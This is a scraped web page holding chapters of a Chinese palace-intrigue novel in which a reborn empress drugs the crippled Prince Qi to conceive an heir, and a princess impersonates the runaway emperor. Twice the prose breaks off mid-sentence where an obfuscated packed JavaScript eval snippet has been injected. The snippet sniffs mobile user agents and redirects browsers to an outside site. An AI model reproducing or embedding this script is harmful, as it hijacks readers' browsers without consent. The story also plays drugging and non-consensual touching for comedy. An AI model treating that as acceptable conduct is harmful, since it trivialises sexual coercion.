烟太后想了想,放心了。 烟令颐是她亲手带出来的孩子,从她生出了一个儿子开始,她就开始为自己的儿子培养一个妻子,没人比烟太后更知道烟令颐是什么样的性情。 烟令颐一身忠臣骨,是愿意为大晋赴汤蹈火的,烟令颐还是文康帝的妻子,是皇后,理所应当为文康帝操心奔走,她手里的担子,也该让烟令颐去接了。 “我儿有孝心。”烟太后笑起来,脸上的皱纹轻轻地颤:“是好事,且去吧。” 又说了两句话,文康帝起身告退,烟太后含笑点头,目送她的儿子离开。 她的儿子离开时,烟太后依旧安安静静的坐在高处向下望,她怜爱的望着她的儿子踏出幽暗寂静的大门,走入一片金闪闪的光芒中,露出了一个真切的笑容。 只要她的儿子过得好,她死了也快活。 当夜,帝后二人邀齐王于观星阁一叙。 —— 观星阁地处皇城东处,且有些来头。 先帝早些年爱夜观天象,常宿于观星阁,先帝年长季横戈二十来岁,从小就将季横戈当成儿子一样带着养,先帝宿于观星阁,季横戈就也宿于观星阁。 后来,先帝病逝、季横戈长大,才搬出观星阁。 观星阁因此而寂静冷清,少有人去,堪比冷宫。 观星阁对于季横戈来说,像是一场旧梦。 今日,帝后邀季横戈于观星阁品酒观星,季横戈一眼望去,就觉得这两个人不怀好意。 文康帝在他眼里是个草包废物,跟他虽然有叔侄之名,但因太后仔细看管,所以二人来往甚少,交情淡漠,烟令颐在他眼里是太后的狗,太后指哪儿烟令颐咬哪儿,这俩人邀约他,能有什么好事? 季横戈便想,难不成是太后下药不成,准备派人来一场鸿门宴? 到时候只等着摔杯为号,便从地底下钻出来五百个刀斧手,将他细细的剁成臊子了。 季横戈被激出来了三分血气。 他退无可退,已无需再退,若是他们二人今日非要他的性命,他也绝不会坐以待毙! —— 当夜,季横戈摆驾观星阁。 兴许是知道齐王不爱吵闹,所以今夜席间伺候的人极少,只有几个宫女在一旁端酒。 季横戈环顾四周。 阔殿高阁,朱檐金柱,柱上蜿攀着花灯,其上放着的不是烛火,而是价值连城的夜明珠,在黑夜中散发着熠熠光泽,照亮整张大殿。 宴席设在前殿内,只摆了一张宽大的桌子,他与帝后相对而坐。 细细的扫过每一处房梁与檐柱,最后,季横戈的目光落到对面席面上。 他血缘上的侄子和侄媳正端坐在对面。 “皇叔病重,侄媳与圣上都十分担忧,此次请符而回,愿皇叔平安康健。”说话的是烟令颐。 季横戈与烟令颐之间十分陌生,两人根本不相熟,今日也是头一回坐在一起饮酒,季横戈抬眸看她时,隐晦谨慎的打量她。 烟令颐圆面凤眼,头戴朱锦凤黛,身穿雪色绸缎端坐在案后,脊背挺拔端正,跪姿也不似寻常女子一般双腿并拢、坐在圆盘单脚杌子上,而是两腿分开、与膝盖同宽而跪坐,整个人并非是坐着的,而是板正的跪着,这是标准的武夫坐姿。 季横戈只扫了她一眼便收回了目光,虽然不曾再看她,但心底里却已经暗暗提防。 烟令颐这个女人,实在是有些奇怪。 她的相貌不算绝色,但眉眼间别有一番英气,整个人毫无媚色,反而透着一股气定神闲的主人翁气息,哪怕坐在她面前的人是齐王与文康帝,她依旧有一种奇异的优越感,好像全天下的人都是她手中的棋子,她想做什么都可以,也不知道是从哪里来的底气——太后给的吗? 至于他那侄子,十年如一日的废物,此时坐在席面上也呆呆愣愣的,一句话不说,只偶尔偷偷看一眼烟令颐。 瞧着竟是让个女人做主,也不知道太后生了这么个儿子,该如何守住大晋万里江山。 也不知道是怎么回事,他瞧见文康帝的时候,总觉得有些古怪,却又说不出来是何处。 思虑间,烟令颐两指并用推过来一杯酒,道:“皇叔请用。” 酒水清澈,看不出是否下了毒,季横戈抬手接过,送入面前,又借着袖袍遮掩滑入袍中,状似入喉。 烟令颐细细的看着季横戈将杯中酒饮尽,才算放心。 酒过三巡,席面上三人都有醉意,烟令颐便道:“今时天晚,不若我等歇息在此。” 文康帝醉的不知东南西北,很显然,今夜真正的敌人是烟令颐。 坐在案后的季横戈抬起头来。 夜明珠悬在他头顶的花灯上,如水一般的白泠光影随着他抬头的动作而流动,从锋利的眉到潋滟的眸,竟有浮光掠影般的惊艳。 他静静地与烟令颐对视两息,随后勾唇一笑,像是一个真正的人畜无害、任人摆弄的瘸子一般,道:“好。” —— 当夜,三人分两屋而歇。 待到子时夜半,烟令颐为睡着的宁月披上薄被,随后从自己的房间翻出。 此次来摘星阁,她特意将四周清了一遍,晚间巡夜的金吾卫也不会来此,只有几个太监与丫鬟守夜。 这些丫鬟都是不曾开过武脉的普通人,烟令颐轻而易举的绕过他们,翻过厢房,直奔齐王卧房而去。 —— 夜。 星月皎洁,明河在天。 四无人音,声在树间。 一道身影忽然翻出上屋顶,踩上脊兽,珍珠履踏过琉璃瓦,裙摆在月中奔过,直至齐王檐下。 矫健劲瘦的身影猛地一翻,从屋檐下倒扣踢开窗户,如燕子翻身,转瞬间落入屋内。 烟令颐落地的时候,屋内寂静十分,静的好像只有她自己的呼吸声,转身瞬间,烟令颐瞧见了床榻上的齐王季横戈。 除了季横戈以外,这间厢房之内的各处隐秘死角处躲了足有四个暗卫。这些都是季横戈的忠心侍卫,是季横戈专门带来的后手。 而烟令颐完全没发现。 在她眼中,季横戈就只是一个病重的王爷,并且马上要死了——文康帝不知道的事情她也不知道,太后隐瞒的很好,季横戈隐瞒的更好,她本来一辈子都不该发现的,只是她这辈子走了另一条路,自己一头撞上来了而已。 她的目光聚精会神的落到了床榻上,仔细的审视着,从他的脸一路往下移,最后落到腰腹间。 齐王双腿已废,久卧床榻多年,身边连一个女人都没有,外界有传言,说是齐王的根儿早就在战乱时候废了。 若是真的废了,那她今天这一趟可就白跑了。 “希望还能用。”胆大包天的皇后呢喃着道。 6.她需要一个孩子 那道声音在房间内慢慢逸散,落到季横戈的耳朵里的时候,让季横戈略有些疑惑。 她说什么能用? 这人好像不是单纯来杀他的,季横戈想。 掩藏在被下的手紧了又紧,最后还是没有去抽枕下的刀。 让他再看看,这位侄媳到底想做什么。 季横戈没动,季横戈的四个侍卫就也没动,只是在暗中互相对了一个眼神。 一号侍卫目光冷冽:我等按兵不动。 二号侍卫:按兵不动。 三号侍卫:兵不动。 四号侍卫:不动。 而此时,烟令颐已经步步逼向床榻。 她的目光细致的描摹季横戈的眉眼。 季横戈骨相清俊眉眼贵气,纵然伤了两条腿,但因权势滔天,也有些贵秀愿嫁给他,她们痴迷他的功绩,仰慕他的面容,但烟令颐看他,就像是看着一把断刀。 她怜悯他,她共情他,她可惜他,她想让这把断刀再立起最后一回。 在某种角度上,她是最能理解齐王的人,他们都曾为了大晋豁出一条命去,但都没有改变大晋的结局,只留下了病残的身躯与落败的家国,看起来像是两条败犬。 但败犬跟败犬也是不一样的,季横戈含着一口怒气失望离开,而烟令颐,却呲着牙、红着眼、流着涎水,又咆哮着站起来了。 她与人为善处处宽容,殚精竭虑鞠躬尽瘁,却没换来什么好结局,那就来让她看谁不顺眼就一口咬死,反正结局不会更差了! 烟令颐平时运筹帷幄,精明冷静,但是一想到这个国要亡了,她就发狠了忘情了癫狂了不知道自己姓什么了,什么人她都敢咬一口,什么事儿她都敢干,之前季横戈看烟令颐看的一点没错,她现在已经自大的要命了,偷龙转凤还不够,她现在还要干一件更匪夷所思的事儿。 她要大晋万年昌隆,她要高坐太后宝座,那她就要有一个孩子。 没有孩子,皇后的位置就不稳,有了孩子,她才能捏上大晋的命脉。 就像是当初太后生下孩子,把控朝政一样,她也可以走这样的路,不过她生下来的孩子,一定不会像是文康帝一样废物。 生下文康帝的孩子是不可能了,烟令颐厌恶他的无能,那这大晋的子嗣,就只剩下一个季横戈了。 一个胆大妄为心思缜密的疯子皇后,指挥着一个女扮男装屁都不懂,就听嫂子话的笨蛋公主就这么动手了,祸害完文康帝又来祸害齐王。 死过一次、国破家亡的痛苦磨掉了她的最后一丝迟疑与情谊,她的眼中只有一个大晋,只要是为了大晋王朝,她就什么都敢干。 简直是正到发邪。 —— 此时,烟令颐已经走到季横戈的床榻前,正伸手掀开季横戈的被褥。 她给季横戈的酒里下了些迷药,所以她笃定现在季横戈醒不过来,毫不迟疑的伸手解开季横戈的衣裳。 覆盖薄茧的细长手指在绸缎系带上轻轻一勾,亵衣便轻轻从胸膛上滑落。 躺在床榻上的男人身量极高,手臂劲瘦有力,腰腹间覆盖着一层薄薄的肌理,因为长期囤困室内,他的肌理雪白的如同一块上好的玉。 厢房内一片昏暗,一道月光泠泠从半开的窗户落进来、照在他的眉眼上,为他苍白的唇添了些莹莹亮色。 烟令颐的手擦过他的胸膛,只感觉一片寒凉。 季横戈中蛊毒多时,双腿不良于行,经脉堵塞,内力难以运转,身体冰冷,就算是三九天也如冰窟,现下已入废人一般,这些御医都是早说过,只是亲手摸到还是有些失望。 这样的身子,真的还能诞下子嗣吗? 若不是齐王,她就不能生下大晋皇嗣的孩子了。 说烟令颐癫狂吧,她还知道她需要一个大晋皇族的孩子,保证晋国血脉纯正,说她理智吧,她又不管哪个皇族、只要是皇族就行。 一个充满理智的疯子,为了她的理想坚定前行,她的底线随着她那奇异的想法而胡乱跳跃,导致她的行为也让人完全看不懂。 但她自己不在乎,只要能达到目的,她不在乎前面挡着的人是谁。 是忠臣,但忠的是谁,不太好说。 是良将,但她先杀谁,也不好说。 思虑间,烟令颐的目光渐渐往下滑,呢喃着道:“大晋的江山,就靠你了。” 躺在榻上的季横戈深深蹙眉。 这是在对谁说呢? 但很快季横戈就知道。 下一刻,她的手隔着一层丝绸亵裤,落到了季横戈腰□□,结结实实的捏了一下。 季横戈:! 要不是季横戈腿废了,这一下他就能跳起来。 这个女人在干什么! 捏一下还不够,烟令颐拧着眉又揉了两下。 跟浑身冰凉的季横戈不同,烟令颐的手很烫,充满了热腾腾的武夫血气,烟家擅枪,她自小便熬炼枪法,一手烟家枪磨出了她的骨头,也磨出了一手薄茧。 她这一回没有去山间硬救跑掉的文康帝,没有受过伤,手脚灵活自如,充满力量,薄薄的茧子力道适中的刮过他的腰腹,不像是在摸一个男人,反而像是在摸一件趁手的武器。 但对于季横戈来说却并非如此。 不是所有人都能能把自己的身体和别人的身体都当成是一个容器来随便看待的,季横戈虽然征战多年,但在某些方面,真不如烟令颐,烟令颐不把他的身体当回事儿,也不把自己的身体当回事儿,摸了也就摸了,但季横戈却骤然绷紧身体。 她的手像是灼热的烙铁,引来一线烫意,烧着他的躯壳,季横戈只是腿废了,但不是人废了,被揉的这两下,让他头皮都跟着一起麻起来。 以身涉险的战他打过无数次,被人脱裤子他还是头一回。 可怜的齐王,前半辈子征战沙场一个女人没碰过,后半辈子瘫都瘫了,竟然还被人调戏上了! 但烟令颐可不管这个,她急迫的需要确定季横戈还能不能用。 她可不是什么没经验的黄花大闺女,男女之事她很熟悉,试验一下只需要两三下而已。 而季横戈也确实能用,不过两息,就向烟令颐证明了他自己。 “唔。”烟令颐有些惊讶:“还很不错。” 不知道是不是武夫出身的缘故,季横戈比他侄子可强上太多太多太多太多了。 说话间,烟令颐开始脱他的裤子。 能用就赶紧用吧,这人再过几天就要死了,死了可就用不上了! 烟令颐一边脱他裤子,还一边意正言辞的感谢他:“为了大晋江山,殿下请再坚持一下!大晋的黎民百姓会记得您的,您不会白死!” 闭着眼的季横戈整个人僵成了一块石头,他的唇瓣都紧紧地绷在一起,牙关几乎都要咬碎了。 大晋江山跟脱他裤子有什么关系啊! 他这根东西还能撬动这万里江山吗? 她到底在感谢什么! 他揣着一肚子阴谋诡计来等她,以为她要拔出匕首来给他一刀,却不曾想她是要脱他裤子! 别说季横戈了,就连房梁上、角落里、屏风后、墙根处的四个暗卫都跟着一瞬间瞪大了眼。 他们跟随王爷征战沙场十来年,什么场面没见过?但话又说回来,这场面也确实—— 他们几个默默对了个眼神。 王爷之前给的吩咐是,一旦烟令颐动手刺杀,他们就也动手,若是烟令颐没有过激之举动,他们也不必打草惊蛇。 那现在...算不算过激啊? 主子被刺杀了他们上,但是现在,主子被扒裤子了他们也上吗? 一号侍卫沉思片刻,回了个眼神:我等按兵不动。 二号侍卫低头:按兵不动。 三号侍卫低头:兵不动。 四号侍卫偷看:真不动啊?裤子都快拖脱没了!我们王爷还是黄花大闺男呢! 他们都不动,烟令颐却动的飞快,她迅速脱下季横戈的外衣,先是细细观察季横戈,随后准备亲自上阵,速战速决。 唔—— 但就在烟令颐即将把季横戈的亵裤褪下来的时候,床上的季横戈突然动了。 他在绸缎床榻上动了手臂,锋利的眉目拧在一起,似是马上就要醒来,那双桃花眼隐隐都要睁开了! 烟令颐吃了一惊。 她下的药很重,这人应该昏睡一整夜才对! 她转瞬又想,季横戈早些年征战沙场,想来也用过不少药,兴许是药性残留,互为牵扯抵抗,导致她的药没什么效果——烟家军中也多有此类伤患。 但此时已来不及想太多了,烟令颐整个人如同矫健的狸猫一般窜起后退,动作飘逸轻灵的扑到窗口,“嗖”的一下跃出窗外。 翻出窗口的时候,烟令颐遗憾的回头望了最后一眼。 她真怕这次用不上,过几天季横戈就死了。 —— 烟令颐离开后,床上的季横戈面色铁青的睁开了眼。 烟令颐真该谢谢他这双腿。 腿废了一年,他这杀伐果决的脾气也被硬磋了一年,养出了不少耐心,今日之事若是放在一年前的他,估摸着早已将烟令颐掐断胳膊,摁在地上审讯了。 “乌枪。”季横戈从牙缝里挤出来一声唤。 乌枪踏雪银甲紫刃,是那几个侍卫的名字。 藏在房梁上的侍卫飞快窜出来,跪到榻前,道:“属下在。” 其余三处的侍卫一起窜出来,按顺序跪在乌枪之后,前面三个都跪着,只有第四个紫刃壮着胆子抬头偷看。 这一看,真刚看到季横戈咬牙切齿的将身上的衣裳系好。 “把烟令颐在三灵山——”季横戈的声音都在抖,听的紫刃暗地里一个劲儿啧啧。 他们齐王是多么沉稳一个人呦,早些年在边关被敌人捅了三刀都不眨眼,这一年在建业被太后坑害那么多次也不曾动怒,现在好了,今儿差点被皇后给气死。 “这段时间的事情,给本王查清楚。”季横戈额头上的青筋一直在跳,说出来的每一个字都像是在吃烟令颐的肉:“本王要知道她的一切。” 烟令颐去三灵山之前,与季横戈交际平平,两个人几乎可以说是互不相识,季横戈在后宫养病一岁,见过烟令颐的次数屈指可数。 而烟令颐从三灵山回来之后,就开始——此中之事,定与缘由,摸清楚三灵山发生了什么,就能摸清楚烟令颐反常的缘由。 是,烟令颐是重生一次,拿了预知牌,但她也不是原地飞升直接成神了,她还得在这红尘之中打滚儿,拼尽全力才能得到自己想要的,而这建业城里的其余人也不是傻子,烟令颐有张良计,季横戈顺手就搭过桥梯。 烟令颐的一切,他都得查清楚。 “王爷。”一旁的乌枪低声提醒道:“替死鬼一事已筹谋的差不多了。” 再过几日,替死鬼就要进来了,他们就该按照计划离开。 季横戈深吸一口气。 他本来对这个大晋已经完全失去兴趣了,他本都打算悄无声息的离开了,但现在,路边窜过来了一条烟令颐,对着他大腿狠狠咬了一口,痛倒是不痛,但是他觉得耻辱。 他咽不下这口气。 要不是他中途作势醒来,烟令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437125|184844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颐怕是真要骑上来了,她把他当成什么?她以为他是那种勾栏里的小倌吗? “待本王摸清楚原委。”季横戈挤出来一丝狞笑,道:“再走不迟。” 烟令颐这颗棋子跳出了棋盘格,蹦去了其余棋盘格的位置,甚至还对其他棋盘上下其手,导致其余的棋子也暂停了一切计划,随着烟令颐的脚步,在大晋的棋盘上开始另一场不见硝烟的对弈。 人与人的争斗一向如此,有的摆在明面上,有的藏在暗地里,从你踏进来的那一刻就开始了,永无停歇。 当然,烟令颐对此也一无所知。 她受困于上辈子的记忆,对未来的事情十分笃定,从不曾想过,上辈子的事儿就是假的,所以现在也不会怀疑季横戈。 她现在只想琢磨着找个机会,再给季横戈下下药。 —— 从季横戈厢房离开后,烟令颐利索的翻上楼檐,漂亮的裙摆在屋檐上绽出一朵花来,随后她在屋檐上几个起落,就重新翻回了自己的厢房中。 她回到厢房中时,厢房内一片静谧。 宁月裹着被子睡得安安静静,脸蛋儿粉嘟嘟的,烟令颐在一旁看了片刻,慢慢将她卷乱了的被子重新盖好,随后脱衣躺在宁月身侧。 宁月不习武,对一些细微动静没有任何反应,之前又被烟令颐灌了酒,脑袋沉沉,浑然不知道谁来了,睡得不分东南西北。 烟令颐平躺在她身侧,缓缓闭上了眼。 她们俩睡觉的样子也不一样,烟令颐规规矩矩的躺着,动都不动一下,宁月睡觉却四处拱来拱去,偶尔拱到烟令颐身上,烟令颐就替她扯好被子,又让出一块地方。 平静温和的皇后和四仰八叉的公主,就这么平静的度过了一夜。 厢房角落里堆着冰缸,冷气浸染间,被窝绸缎凉凉的,人一躺进去,身体渐渐放缓,烟令颐沉沉的睡了过去。 —— 烟令颐与宁月一同睡去时,季横戈手下的两个侍卫、银甲与紫刃已经出发,直奔三灵山而去。 小小的三灵山现在也算是卧虎藏龙了,季横戈派来的侍卫,跑掉的皇帝,烟令颐派去的芝兰,挤在同一座山里面,不知道谁先死。 而夜幕下的三灵山静静地伫立在此,宽容的接纳每一位来客。 —— 三灵山半山腰里的陆家村今天很热闹,因为今天是老陆家闺女成婚的日子。 要说这老陆家啊,可真有点意思。 他们家就生了一个闺女,从小当成男孩一样养大,把这闺女养的性子很歪,窝里横,谁对她好,她就要欺负人家,整天说什么“我是你们唯一的女儿你们不该对我更好点吗”,“要不是你们把我生在这里我怎么会吃不起饭”之类的畜生话。 但丽娘对外人反倒客客气气的,只有老陆家两口子窝窝囊囊,天天被自己女儿训。 说起来,丽娘跟季明山都是一样的受宠,只不过丽娘长在乡野里,季明山好歹还读过书,他们俩碰一起,还真不知道谁倒霉。 —— 眼下,老陆家闺女带回来了个男人,说是要成婚,也不知道是从哪儿捡的人,但是这男人出手阔绰,一抬手就给了一块很贵的翠玉扳指,说是能换很多粮食和银子,老陆家那口子半信半疑的接了,跑出去卖了一趟后,回来就要给他们俩办婚礼,但是旁人若是问起来“扳指卖了多少钱”,老陆一句话都不说。 外人就猜,猜来猜去也猜不出个数来。 丽娘倒是跟老陆背地里透过底儿,说是这贵人是对她一见钟情,私奔了出来与她成婚的,至于皇上之类的话,丽娘没说,怕吓到她爹。 而老陆也诚心接纳这位贵婿,毕竟这位贵婿掏了这么多钱,老陆便一边请人来建新房子,一边请戏班子来热闹,敲锣打鼓的折腾起婚礼来了。 是夜。 三灵村内。 季明山跟丽娘成婚之后,俩人洞房花烛后,一同软在火炕上。 山里没有冰炭一说,再热也只能靠熬,季明山喘着粗气,只觉得空气里塞满了燥热的气息。 火炕硌人,难受的很,屋里的烛火都得节俭着用,门外也没有丫鬟太监伺候,房中常见各种虫子,他都不太舒服。 短暂的新鲜感褪去,当他重新审视这里的生活时,才发现这毛糙落后的地方,处处都下不去脚。 除了丽娘以外,锦衣玉食的皇帝并不喜欢这里的任何一样东西。 这时候,一旁的丽娘靠过来,嘟囔着说:“明天要去河边洗衣服呢,你也得跟我一起去。” 季明山突然有点烦躁。 “干嘛用你洗衣服?我不是给了银子吗?”他说。 他给了这群人一辈子都花不完的银子,他们为什么不肯停下来好好享受,跟他一起过快乐日子呢? “给了银子就能不干活了?银子迟早会花光的,你一点也不节俭,日后怎么过日子?你跟我成婚,就是我们家的人了,不要再摆架子了。”丽娘埋怨了一句:“你要学会好好过日子,孝顺我父母,照顾我,这是男人的责任。” 丽娘可不顺着他,只背过身去,说:“你不是爱我吗?爱我就该跟我过一样的日子,你不肯干就是嫌贫爱富!果然,像是你这样富人家的孩子,是一点苦吃不得的!” 季明山被她说的一时语塞。 是,他爱丽娘,可是爱丽娘,他就必须要吃苦受累吗? 他为了丽娘已经放弃了皇位,丽娘怎么还能说他嫌贫爱富呢?非得要他当牛做马,才能展现出他对丽娘的爱吗? 他觉得有点憋屈,转过身去也不说话了。 跟丽娘私奔的日子,好像也没有他想的那么好。 7.那位驸马如此急切? 两个新婚的小夫妻俩在火炕上拌了两句嘴,谁都不理谁,转头睡去了。 这倒是方便了后窗户前偷听的芝兰,芝兰听来听去,见季明山没有要翻脸的意思,不由得暗暗称奇。 以前季明山在宫里谁都不惯着,也就只怕一个太后,没想到现在竟然为了个女人做到这地步,要是太后在此,估摸着都要心疼的掉眼泪了。 等俩人睡去了,芝兰翻上窗户躺着,迎面望着头顶上的明月。 夜凉如洗,月色如银,沐浴在芝兰的身上,芝兰伸手去摸月光,忍不住想,建业现在如何?皇后又如何? 三灵山里有一群势力各异的人相互拉扯,但建业之内也是不相上下。 太后忙着弄死齐王,没发觉自己儿子已经换了个人,烟令颐忙着扒齐王裤子,也没发现齐王已经派人开始调查她,齐王忙着运替死鬼进建业,又要兼顾去找烟令颐的麻烦,宁月忙着扮演她哥哥,是不是还要抽空以女身出面,让别人不怀疑。 每个人身上都缠着两三条别人看不见、只有自己知道的线,有的人主动拉扯着身上的线,悄无声息的缠绕在别人的身上,而有的人被这些线拉扯着,被迫做出各种稀奇古怪的动作,在寂静的夜里翩翩舞一曲身不由己。 这是一场盛大而无声的狂欢,但只有月亮能看见。 —— 次日,寅时末。 天边还未曾大亮,浅浅的鱼肚白裹着一丝金光在远处的云层中翻起,飞鸟裹着晨霜掠过檐角,一缕风调皮的探入半开的窗,撩动矮案花瓶中斜插的一支荷花,淡淡的香气顺着风逸散厢房内,似是要飘进人的梦里。 床榻上的宁月抱着薄薄的被子,陷入了一场美梦中。 梦中的宁月正在选驸马。 整个大晋的美男子都排排站好,她从他们的面前走过,这一群男人们都被她的美色震惊,争先恐后的过来追慕她,她正琢磨着挑那个最好看的来当她的驸马的时候,她突然察觉到有人摸她的腰。 哎呀!是那位驸马如此急切?等一下啦!她还没准备好啦! 宁月在床上扭捏羞涩推拒的时候,醒了。 她睁开眼的时候,跪坐在她旁边的不是美男子,而是拿着萝卜的皇嫂。 新拿来的萝卜在清晨的光芒中闪耀着水灵的色泽,一脸理所当然的皇嫂平静的捏起来萝卜,道:“殿下,该换个新的了。” 该换个新的了。 换个新的了。 新的了。 宁月的目光挪到自己的腰上。 挂了好几天的萝卜已经干枯了,大小不合适,烟令颐准备动手来换一个。 虽然不是第一次经历,但是宁月依旧觉得有点无法接受。 每天早上让自己嫂子手动安装上一个萝卜什么的——也有点太那个了吧! 但烟令颐却很习惯,她抬起萝卜,挂好,调整角度,系紧腰带,一切收拾完毕,宁月站起来摇晃了一下。 哎呀,这甩感跟之前那个一模一样的呢。 她有时候觉得,皇嫂简直严谨到有点不可思议。 皇嫂一边帮她整理新鲜萝卜,一边神色平淡的问:“皇上做什么梦了,一直在喊[不要]。” 宁月脑瓜子“嗡”了一声,磕磕巴巴的回:“我我我我我——” “孤。”烟令颐道。 “孤孤孤孤孤——” 烟令颐勾了勾唇,心说来了个老母鸡。 宁月没发觉皇嫂在腹诽她,只硬着头皮挤出来一句:“孤孤孤就是有点害怕今日上朝。” 今日,是宁月第一次代替文康帝上朝。 “何须害怕?太后都看不出来,旁人更看不出来,更何况,在臣妾眼中,皇上较之你哥哥更好,当初你哥哥上朝时,也是一句有用的话都说不出、全靠太后做主的。” 当初文康帝不曾成婚之前,太后身子骨还硬朗,还会去朝堂上垂帘听政,直到后来,太后身子骨渐老,才会安排烟令颐进宫,接替太后手里的担子,继续撑着文康帝。 反正都是棋子,以前那个文康帝和现在这个文康帝没什么实质上的区别,一定要说的话,也不过是个肉萝卜,和一个素萝卜罢了。 烟令颐随手拿起来干瘪了的萝卜放进袖兜里,道:“今日早朝,会有人说上奏关于户部尚书林大人贪污受贿一案,但皇上不要当朝定罪,要往后拖一拖,只将人收押进锦衣卫天牢之中便可。” 提起来这桩案子,烟令颐心头也隐隐发痛。 上辈子这案子发生的太快,一切都是证据确凿,文康帝又是个对朝政不上心的废物,三两下便定了案子,户部尚书林氏满门抄斩,迁害九族。 但后续再翻出来,却又发现很多疑点,才发现这林氏之死乃是旁人陷害。 文康帝冤枉了一个忠臣,提及至此,烟令颐心口就隐隐发堵,声线也更严厉了些:“记住,一定不要当场定罪,要拖上三日。” 宁月尾音上扬、略带疑惑的“嗯?”了一声,问:“皇嫂怎么知道。” 当然是因为她重生过一回。 “叫我皇后。”烟令颐正将她打扮好,对她温柔一笑,道:“这些是你哥哥之前跟我说的,只是没来得及处理,你哥哥就跑了,现在只能你我二人来处理了,你千万不要被这些朝臣给瞧出问题来,尽量少说话。” 宁月很好糊弄,既不怀疑哥哥为什么一直找不到,也不怀疑嫂嫂现在说的瞎话,只是一个劲儿的摇晃她的新萝卜,背着烟令颐教她一会儿要在朝上说的话术,听话的上朝去了。 这脑子笨的刚刚好。 收拾妥当后,烟令颐眉目温柔的与宁月一同走出殿内。 两人言谈间,才走出没几步,便迎面撞上了被侍卫推出来的季横戈。 坐在轮椅上的季横戈今日如往常一般,身上穿着素色对交领长袍,头顶玉冠,眉眼淡淡,好似一尊没有情绪的玉人。 只是碰到烟令颐的目光时,他的脸色隐隐发冷。 季横戈多数时候都是没有声息的,病痛锉平了他的傲气,使他渐渐沉默,像是一潭死水一样,再难起波澜,可谁料烟令颐非要跳下来砸个水花漫天,让他再难这样沉默。 这也不怪季横戈忍不住,任谁碰上大半夜翻窗户进来扒裤子的人,都要恼一恼的。 但不管心里如何恼,面上都要忍耐,季横戈垂下眼睫,压下了心底里翻滚的涟漪。 三人相见,互相行礼,后分开而行。 只是在分开之时,烟令颐没忍住,细细的望了季横戈一眼。 错失昨夜良机,真怕这季横戈明日就死了。 她的急迫太过明显,几乎难以掩盖,像是一只饿急眼了的狗,盯着一盘美味烧鸡,暂时吃不到,只能用目光在齐王身上狠狠地搜刮一圈。 她的目光像是一条湿漉漉的狗舌头,充满原始的欲念和不加掩盖的强迫气息,粗鲁的舔过季横戈的面颊,顺着下颌滑进衣领间,又钻到腰腹里,卷在他的身体上,迫不及待的想要掠夺他——的精气。 季横戈脊背骤然发紧,额角上的青筋都跟着隐隐发跳。 他毫不怀疑,只要他给烟令颐一个机会,烟令颐就会毫不迟疑的翻窗进来。 当他是泥捏的了! 在帝后二人走远后,他竟是怒极反笑,一拳捶在机关椅上,狰狞笑道:“三灵山——”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442538|184844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>身后推机关椅的乌枪已经猜到了,低头应是:“属下今夜就去催。” 乌枪低头时暗自咂舌,他们王爷是真被皇后惹急了。 “尽快。”这两个字几乎是从牙缝里挤出来的。 但烟令颐对此一无所知。 她跟宁月分别、目送宁月去金銮殿上朝,随后孤身去往仁寿宫去晨昏定省。 按理来说,应当是皇后领着一群后妃去见太后的,但是太后把持朝政已久,人一旦得了高位的权利,就对后宫女人的事情没兴趣了,所以太后不见那些人,只是每日让皇后一人来见她。 别人都觉得,这是太后与皇后的亲近,但只有烟令颐知道,这是太后对她的审视与考教。 不只是太后对皇后的考教,还有婆母对儿媳的考教,家国后宅,全都要考上一遍,直到太后满意。 —— 摘星阁距离仁寿宫不过一刻半钟的路,不算远,烟令颐走到仁寿宫时,正是卯时中。 卯时中的天还不曾大亮,仁寿宫的长檐下还挂着风灯,烟令颐到的时候,太后并不见她。 前来的嬷嬷只说太后头风,难以见人,命烟令颐在偏殿中跪坐佛前,为太后抄经祈福。 烟令颐拿起笔就开始抄写。 地板冷硬,只有一薄蒲团,屋内清冷,面前只有一佛像,一群人在旁边盯着烟令颐,站在最前面的嬷嬷要挨个儿念皇后手下在做的宫中的事项。 烟令颐做的好的,要说一句“分内之事”,烟令颐做的不好的,嬷嬷便要拧着眉挑出来,将这宫规再说上一次。 ——这不像是为谁祈福,反而像是一种无声地敲打。 烟令颐并不意外,她知道,太后不喜欢她。 外人都以为太后喜欢她,因为她既是烟家的孩子,是太后的血亲子侄,又是太后亲自培养出来的皇后,所以他们理所应当的认为太后喜欢她,宠爱她,就连最开始的烟令颐也这么以为。 但随着烟令颐真的进宫之后,烟令颐才发现,太后其实讨厌她。 烟令颐是那么心思敏锐的人,她细心去瞧,渐渐就摸索出了太后为什么讨厌她。 其实原因就一个,太后太爱文康帝了,爱到仇视每一个文康帝身边的女人,太后想做文康帝的母亲,又把文康帝当做夫君,文康帝从她的身体里出来,被她赋予生命,她就理所应当的认为文康帝是她自己一个人的,她不肯将文康帝分给任何其他人,哪怕这个人是她亲手为文康帝挑选出来的。 一方面,太后让烟令颐伺候文康帝,但另一方面,太后又讨厌烟令颐亲近文康帝,这种矛盾复杂的感情互相牵扯着,强势的母亲和柔弱的儿子成了一对互相亏欠但密不可分的人,烟令颐也挤不进去。 烟令颐不免想起来上辈子的事儿——上辈子丽娘进宫的时候,最生气的可不是烟令颐,而是太后,见到她儿子这么爱一个女人、这么护着一个女人,连她这个亲娘的话都不听了,险些没把太后气死。 当初他们回宫后,太后不过两三个月就走了,说不准也是被丽娘气的。 